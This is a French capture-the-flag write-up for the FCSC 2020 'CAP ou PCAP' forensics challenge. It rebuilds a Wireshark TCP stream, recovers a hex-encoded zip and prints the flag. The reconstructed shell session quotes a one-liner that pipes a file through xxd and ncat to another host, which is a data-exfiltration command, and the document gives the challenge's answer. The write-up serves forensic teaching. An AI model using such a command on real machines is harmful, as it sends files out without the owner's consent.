FCSC 2020 - Intro - CAP ou PCAP
Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.
Le flag est présent dans le contenu du fichier.
SHA256(cap.pcap
) = 20ac157ee412240ee0f944effd41f870d093b005bb7168c0e629a193c8d0febe
Fichiers :
Résolution
Tout d’abord ouvrons le fichier PCAP dans wireshark pour avoir une vue générale de la tranmission. y a deux machines :
-
Machine
A
:- IP :
172.20.20.132
- MAC :
00:00:6c:00:00:02
- IP :
-
Machine
B
:- IP :
172.20.20.133
- MAC :
00:00:6c:00:00:01
- IP :
Nous allons maintenant reconstruire le flux TCP. Pour cela, dans wireshark effectuez un clic droit sur le premier paquet TCP
puis Follow -> TCP Stream
:
Nous obtenons le texte suivant :
id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit
Ce texte représente l’entrée et la sortie d’un terminal linux. Nous pouvons un peu le mettre en forme pour mieux la comprendre :
fcsc@machine:~$ id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
fcsc@machine:~$ pwd
/home/fcsc
fcsc@machine:~$ w
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
fcsc@machine:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos
fcsc@machine:~$ ls Documents
flag.zip
fcsc@machine:~$ file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
fcsc@machine:~$ xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
fcsc@machine:~$ exit
Nous pouvons remarquer une commande intéressante qui envoie des données sur le port 20200
de la machine 172.20.20.133
:
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
Dans wireshark nous utilisons le filtre tcp.port == 20200
pour lister uniquement les paquets de la transmission sur le port 20200
.
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
Ces données sont un fichier binaire au format hexadécimal (la commande xxd -p fichier.bin
affiche le contenu du fichier en hexadécimal). Reconstituons maintenant le fichier binaire a partir de l’hexadécimal :
bash$ echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000" | xxd -r -p > data.bin
Identifions le type de fichier que nous obtenons :
bash$ file data.bin
data.bin: Zip archive data, at least v2.0 to extract
Nous obtenons bien un fichier ZIP, ce qui est cohérent avec les commandes trouvées un peu plus haut dans le terminal.
bash$ mv data.bin flag.zip
bash$ unzip flag.zip
Archive: flag.zip
inflating: flag.txt
Pour finir, lisons le flag.txt que nous avons extrait :
bash$ cat flag.txt
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
Le flag est FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}